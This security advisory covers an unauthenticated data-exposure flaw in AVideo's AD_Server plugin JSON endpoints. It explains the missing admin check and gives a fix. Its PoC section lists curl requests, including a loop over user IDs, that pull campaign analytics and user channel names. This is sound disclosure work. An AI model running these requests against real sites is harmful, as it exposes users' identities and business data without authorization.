Summary

The plugin/AD_Server/reports.json.php endpoint performs no authentication or authorization checks, allowing any unauthenticated attacker to extract ad campaign analytics data including video titles, user channel names, user IDs, ad campaign names, and impression/click counts. The HTML counterpart (reports.php) and CSV export (getCSV.php) both correctly enforce User::isAdmin(), but the JSON API was left unprotected.

Details

The vulnerable file plugin/AD_Server/reports.json.php loads the application configuration at line 5 but never checks whether the request comes from an authenticated admin user:

// plugin/AD_Server/reports.json.php:1-10
<?php
header('Content-Type: application/json');
require_once '../../videos/configuration.php';

// Fetch request parameters with safety checks
$startDate = !empty($_REQUEST['startDate']) ? $_REQUEST['startDate'] . ' 00:00:00' : null;
$endDate = !empty($_REQUEST['endDate']) ? $_REQUEST['endDate'] . ' 23:59:59' : null;
$reportType = isset($_REQUEST['reportType']) ? $_REQUEST['reportType'] : null;

Compare with the HTML page at plugin/AD_Server/reports.php:6-8, which correctly gates access:

if (!User::isAdmin()) {
    forbiddenPage(__("You cannot do this"));
    exit;
}

And plugin/AD_Server/getCSV.php:4-6:

if (!User::isAdmin()) {
    forbiddenPage('You must be Admin');
}

The JSON endpoint exposes five report types, each querying joined tables that include user and video metadata. For example, getAdsByVideoAndPeriod() at VastCampaignsLogs.php:239 executes:

SELECT v.title as video_title, u.channelName, v.users_id, vcl.videos_id,
       COUNT(vcl.id) as total_ads, vc.name as campaign_name
FROM vast_campaigns_logs vcl
LEFT JOIN videos v ON v.id = vcl.videos_id
LEFT JOIN users u ON u.id = v.users_id
LEFT JOIN vast_campaigns_has_videos vchv ON vchv.id = vcl.vast_campaigns_has_videos_id
LEFT JOIN vast_campaigns vc ON vc.id = vchv.vast_campaigns_id

This returns video titles, user channel names, user IDs, and campaign names directly to the unauthenticated caller.

Additionally, plugin/AD_Server/getData.json.php also lacks authentication and exposes aggregate ad view counts via VastCampaignsLogs::getViews(), though with lower impact.

PoC

# 1. Get all ad performance by video — returns video titles, user channel names,
#    user IDs, campaign names, and impression counts (no auth needed)
curl -s 'https://target/plugin/AD_Server/reports.json.php?reportType=adsByVideo'

# Expected: JSON array with objects containing video_title, channelName,
# users_id, videos_id, total_ads, campaign_name

# 2. Get per-user ad analytics for a specific user
curl -s 'https://target/plugin/AD_Server/reports.json.php?reportType=adsByUser&users_id=1'

# Expected: JSON array with video_title, videos_id, total_ads, campaign_name, users_id

# 3. Get ad type breakdown with campaign names
curl -s 'https://target/plugin/AD_Server/reports.json.php?reportType=adTypes'

# Expected: JSON array with type, total_ads, campaign_name

# 4. Get ads for a specific video
curl -s 'https://target/plugin/AD_Server/reports.json.php?reportType=adsForSingleVideo&videos_id=1'

# Expected: JSON array with type, total_ads, campaign_name

# 5. Enumerate users by iterating user IDs
for i in $(seq 1 20); do
  curl -s "https://target/plugin/AD_Server/reports.json.php?reportType=adsByUser&users_id=$i"
done

# 6. Aggregate view counts (lower impact, also unauthenticated)
curl -s 'https://target/plugin/AD_Server/getData.json.php'

# Expected: {"error":false,"msg":"","views":12345}

Impact

An unauthenticated attacker can:

• Enumerate platform users: Extract user IDs and channel names by iterating users_id values via the adsByUser report type
• Extract ad campaign intelligence: Obtain campaign names, types (own vs third-party), and performance metrics (impression and click counts per video/user)
• Map video-to-user relationships: Determine which user owns which video and their ad revenue performance
• Competitive intelligence: On multi-tenant instances, one content creator could extract another's ad performance data

The data exposed is business-sensitive analytics that the application explicitly restricts to administrators in both the HTML interface and CSV export, but the JSON API bypass makes all of it publicly accessible.

Recommended Fix

Add User::isAdmin() checks to both reports.json.php and getData.json.php, matching the pattern used by reports.php and getCSV.php:

plugin/AD_Server/reports.json.php — add after line 5:

<?php
header('Content-Type: application/json');
require_once '../../videos/configuration.php';

if (!User::isAdmin()) {
    header('HTTP/1.1 403 Forbidden');
    die(json_encode(['error' => 'You must be an admin to access this resource']));
}

plugin/AD_Server/getData.json.php — add after line 4:

header('Content-Type: application/json');
require_once '../../videos/configuration.php';

if (!User::isAdmin()) {
    header('HTTP/1.1 403 Forbidden');
    die(json_encode(['error' => true, 'msg' => 'You must be an admin to access this resource']));
}

References

• GHSA-j36m-74g2-7m95
• https://nvd.nist.gov/vuln/detail/CVE-2026-33685
• WWBN/AVideo@daca4ff